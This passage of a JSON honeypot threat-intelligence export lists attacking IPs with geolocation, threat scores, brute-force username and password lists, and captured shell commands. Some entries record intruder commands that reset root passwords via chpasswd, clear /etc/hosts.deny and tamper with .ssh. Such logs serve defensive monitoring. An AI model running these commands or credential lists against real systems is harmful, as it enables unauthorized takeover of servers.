        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T06:17:26.655000+00:00",
        "last_seen_30d": "2026-03-10T06:19:00.050000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "182.211.221.139": {
      "attack_count": 2,
      "first_seen": "2026-03-28T18:25:22.678Z",
      "last_seen": "2026-03-28T18:25:53.338Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongin-si",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T18:25:22.678000+00:00",
        "last_seen_30d": "2026-03-28T18:26:59.102000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "186.232.87.83": {
      "attack_count": 2,
      "first_seen": "2026-03-15T20:05:14.642Z",
      "last_seen": "2026-03-15T20:05:29.616Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Barrinha",
      "asn": 263060,
      "as_org": "Atilio Marcos Marcari e Cia Ltda Me",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T20:05:14.642000+00:00",
        "last_seen_30d": "2026-03-15T20:06:30.609000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.216.132.27": {
      "attack_count": 2,
      "first_seen": "2026-03-17T14:16:49.284Z",
      "last_seen": "2026-03-17T14:17:03.165Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 272953,
      "as_org": "HS NETWORKS SAS",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T14:16:49.284000+00:00",
        "last_seen_30d": "2026-03-17T14:18:11.284000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "206.189.134.120": {
      "attack_count": 2,
      "first_seen": "2026-03-18T02:25:55.894Z",
      "last_seen": "2026-03-18T02:25:56.065Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T02:25:55.894000+00:00",
        "last_seen_30d": "2026-03-18T02:26:56.693000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "222.255.180.90": {
      "attack_count": 2,
      "first_seen": "2026-03-29T15:50:15.514Z",
      "last_seen": "2026-03-29T15:50:46.060Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T15:50:15.514000+00:00",
        "last_seen_30d": "2026-03-29T15:51:55.679000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "41.59.28.226": {
      "attack_count": 2,
      "first_seen": "2026-03-20T10:53:03.776Z",
      "last_seen": "2026-03-20T10:53:17.032Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T10:53:03.776000+00:00",
        "last_seen_30d": "2026-03-20T10:54:21.328000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.36.139": {
      "attack_count": 2,
      "first_seen": "2026-03-17T12:31:41.512Z",
      "last_seen": "2026-03-17T12:31:54.241Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": null,
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T12:31:41.512000+00:00",
        "last_seen_30d": "2026-03-17T12:32:59.843000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.161.164.161": {
      "attack_count": 2,
      "first_seen": "2026-03-29T02:57:10.119Z",
      "last_seen": "2026-03-29T02:57:22.905Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Aracaju",
      "asn": 268467,
      "as_org": "Voa Internet",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T02:57:10.119000+00:00",
        "last_seen_30d": "2026-03-29T02:58:32.010000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.189.108.138": {
      "attack_count": 2,
      "first_seen": "2026-03-02T19:00:41.932Z",
      "last_seen": "2026-03-02T19:00:55.416Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Surquillo",
      "asn": 269843,
      "as_org": "BANTEL SAC",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T19:00:41.932000+00:00",
        "last_seen_30d": "2026-03-02T19:01:58.056000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "69.5.189.196": {
      "attack_count": 2,
      "first_seen": "2026-03-17T21:25:05.048Z",
      "last_seen": "2026-03-17T21:25:15.466Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 1,
        "ports_targeted_30d": 79,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-17T21:09:49.284000+00:00",
        "last_seen_30d": "2026-03-17T22:15:57.632000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 129,
        "Honeytrap": 31,
        "Dionaea": 5,
        "Cowrie": 2,
        "Sentrypeer": 1
      }
    },
    "77.191.47.209": {
      "attack_count": 2,
      "first_seen": "2026-03-24T11:58:07.607Z",
      "last_seen": "2026-03-24T11:58:21.438Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Berlin",
      "asn": 6805,
      "as_org": "Telefonica Germany",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T11:58:07.607000+00:00",
        "last_seen_30d": "2026-03-24T11:59:26.411000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.188.28.112": {
      "attack_count": 2,
      "first_seen": "2026-03-22T09:11:29.680Z",
      "last_seen": "2026-03-22T09:11:42.557Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T09:11:29.680000+00:00",
        "last_seen_30d": "2026-03-22T09:12:47.812000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "79.165.23.118": {
      "attack_count": 2,
      "first_seen": "2026-03-08T03:00:55.888Z",
      "last_seen": "2026-03-08T03:01:10.523Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 8615,
      "as_org": "Central Telegraph Public Joint-stock Company",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T03:00:55.888000+00:00",
        "last_seen_30d": "2026-03-08T03:02:16.841000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.222.212.211": {
      "attack_count": 2,
      "first_seen": "2026-03-08T12:51:10.273Z",
      "last_seen": "2026-03-08T12:51:41.058Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T12:51:10.273000+00:00",
        "last_seen_30d": "2026-03-08T12:52:42.216000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.196.152.92": {
      "attack_count": 2,
      "first_seen": "2026-03-14T09:55:10.905Z",
      "last_seen": "2026-03-14T09:55:10.906Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 76.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 29,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T12:36:47+00:00",
        "last_seen_30d": "2026-03-31T20:25:57.841000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 33,
        "Honeytrap": 20,
        "Cowrie": 2
      }
    },
    "92.50.200.176": {
      "attack_count": 2,
      "first_seen": "2026-03-05T14:11:01.988Z",
      "last_seen": "2026-03-05T14:11:14.976Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Roshal'",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T14:11:01.988000+00:00",
        "last_seen_30d": "2026-03-05T14:12:17.003000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "129.212.178.2": {
      "attack_count": 1586,
      "first_seen": "2026-03-02T00:53:07.495Z",
      "last_seen": "2026-03-02T05:14:54.736Z",
      "sessions": 313,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "user",
        "guest",
        "oracle",
        "mysql"
      ],
      "passwords_attempted": [
        "!@#$%^&*",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "123abc",
        "123qwe",
        "1q2w3e4r",
        "1qaz2wsx",
        "654321",
        "888888",
        "P@ssw0rd",
        "changeme",
        "default",
        "letmein"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Douglasville",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 2267,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:53:04.032000+00:00",
        "last_seen_30d": "2026-03-02T05:15:57.133000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1586,
        "Suricata": 681
      }
    },
    "92.118.39.72": {
      "attack_count": 1241,
      "first_seen": "2026-03-02T11:22:14.493Z",
      "last_seen": "2026-03-31T01:04:50.249Z",
      "sessions": 250,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "blockchain",
        "miner",
        "pool",
        "solana",
        "user",
        "validator"
      ],
      "passwords_attempted": [
        "1",
        "123",
        "blockchain",
        "miner",
        "pool",
        "sol",
        "solana",
        "validator"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 67.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1887,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:10:29.166000+00:00",
        "last_seen_30d": "2026-03-31T01:05:52.483000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1241,
        "Suricata": 646
      }
    },
    "156.227.237.176": {
      "attack_count": 621,
      "first_seen": "2026-03-02T02:15:14.694Z",
      "last_seen": "2026-03-22T22:08:31.369Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "frank",
        "git",
        "satisfactory",
        "admin1",
        "arthur",
        "atlas",
        "data",
        "emo",
        "fastuser",
        "francisco",
        "ftpupload",
        "hduser",
        "icecast",
        "in",
        "nova",
        "qbtuser",
        "radarr",
        "rico"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "12345",
        "12345678",
        "!234qwer",
        "!@#QWEqwe123",
        "123",
        "1234",
        "1234!@#$qwer",
        "12345.com",
        "123456",
        "1234567Aa",
        "1a2b3c4d",
        "2wsxCDE#",
        "Arthur123!",
        "Data123!",
        "Hduser123",
        "Minecraft1",
        "Q!w2e3r4t5"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\nyaIJJobeFVyl\\nyaIJJobeFVyl\\n\"|passwd",
        "echo \"git123\\nguru8sIyRncE\\nguru8sIyRncE\\n\"|passwd",
        "echo \"root:5K8LMVEPqqRP\"|chpasswd|bash",
        "echo \"root:VbYtPKHhLvnM\"|chpasswd|bash",
        "echo \"root:aymtOtv7lpWF\"|chpasswd|bash",
        "echo \"satisfactorypass\\nXyjf8jFT9o8F\\nXyjf8jFT9o8F\\n\"|passwd",
        "echo -e \"12345\\nyaIJJobeFVyl\\nyaIJJobeFVyl\"|passwd|bash",
        "echo -e \"git123\\nguru8sIyRncE\\nguru8sIyRncE\"|passwd|bash",
        "echo -e \"satisfactorypass\\nXyjf8jFT9o8F\\nXyjf8jFT9o8F\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 40.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.7,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 746,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:15:14.694000+00:00",
        "last_seen_30d": "2026-03-22T22:09:35.966000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 621,
        "Suricata": 125
      }
    },
    "170.64.211.248": {
      "attack_count": 593,
      "first_seen": "2026-03-15T07:53:47.947Z",
      "last_seen": "2026-03-15T08:09:48.732Z",
      "sessions": 118,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "alex",
        "bot",
        "ali",
        "a",
        "aaa",
        "bob",
        "botuser",
        "abc",
        "administrator",
        "ams",
        "andrea",
        "andrew",
        "anna",
        "app",
        "brian",
        "chris",
        "0000",
        "123456",
        "a1"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "1234",
        "admin123",
        "P@ssw0rd",
        "0000",
        "111",
        "12345",
        "1234567",
        "123root",
        "4dm1n",
        "Admin1234",
        "a",
        "a1",
        "aa",
        "aaa",
        "abc",
        "abdi",
        "abdulla"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 838,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T07:53:47.947000+00:00",
        "last_seen_30d": "2026-03-15T08:10:54.066000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 593,
        "Suricata": 245
      }
    },
    "103.86.180.10": {
      "attack_count": 528,
      "first_seen": "2026-03-04T18:11:55.337Z",
      "last_seen": "2026-03-24T07:25:10.007Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "anon",
        "applmgr",
        "nicolas",
        "testsftp",
        "airflow",
        "demo",
        "devopsuser",
        "ir",
        "jenkins",
        "media",
        "seekcy",
        "sig",
        "sysadmin",
        "ubuntu",
        "userftp",
        "vss",
        "webuser",
        "wocloud"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "Bingo@1993",
        "10203040",
        "123",
        "123123a@",
        "1234",
        "123456",
        "123456Qw",
        "123qweQWE@",
        "142857",
        "1qaz2wsx",
        "ASDzxc123456",
        "Asdf123456789",
        "Centos2024",
        "Ir123!",
        "Jenkins123!",
        "Pass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\noqpbPngToOnc\\noqpbPngToOnc\\n\"|passwd",
        "echo \"anonpassword\\ntWN5ux2kL8Cd\\ntWN5ux2kL8Cd\\n\"|passwd",
        "echo \"root:1lKIhjHttIA2\"|chpasswd|bash",
        "echo \"root:Pl5dm270uDNm\"|chpasswd|bash",
        "echo \"testsftp123\\nVSqbNkBGGwCm\\nVSqbNkBGGwCm\\n\"|passwd",
        "echo -e \"12345678\\noqpbPngToOnc\\noqpbPngToOnc\"|passwd|bash",
        "echo -e \"anonpassword\\ntWN5ux2kL8Cd\\ntWN5ux2kL8Cd\"|passwd|bash",
        "echo -e \"testsftp123\\nVSqbNkBGGwCm\\nVSqbNkBGGwCm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 136284,
      "as_org": "Paradise Telecom Pvt Ltd",
      "threat_score": 44.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.1,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 640,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T18:11:55.337000+00:00",
        "last_seen_30d": "2026-03-24T07:26:18.715000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 528,
        "Suricata": 112
      }
    },
    "103.67.78.132": {
      "attack_count": 498,
      "first_seen": "2026-03-05T12:52:55.822Z",
      "last_seen": "2026-03-25T14:03:32.959Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user",
        "bert",
        "clawd",
        "ubuntu",
        "Test",
        "admin",
        "azureuser",
        "builder",
        "diego",
        "docker",
        "erpuser",
        "fox",
        "kirill",
        "lorenzo",
        "mailuser",
        "modify",
        "park",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123",
        "1234",
        "12345678",
        "1Password@",
        "2025abc",
        "9090",
        "Mailuser123!",
        "P@ssW0rd14",
        "P@ssw0rd*",
        "P@ssw0rd35",
        "P@ssw0rd99",
        "a12345678*",
        "a12345689",
        "aA123456..",
        "aa#2026",
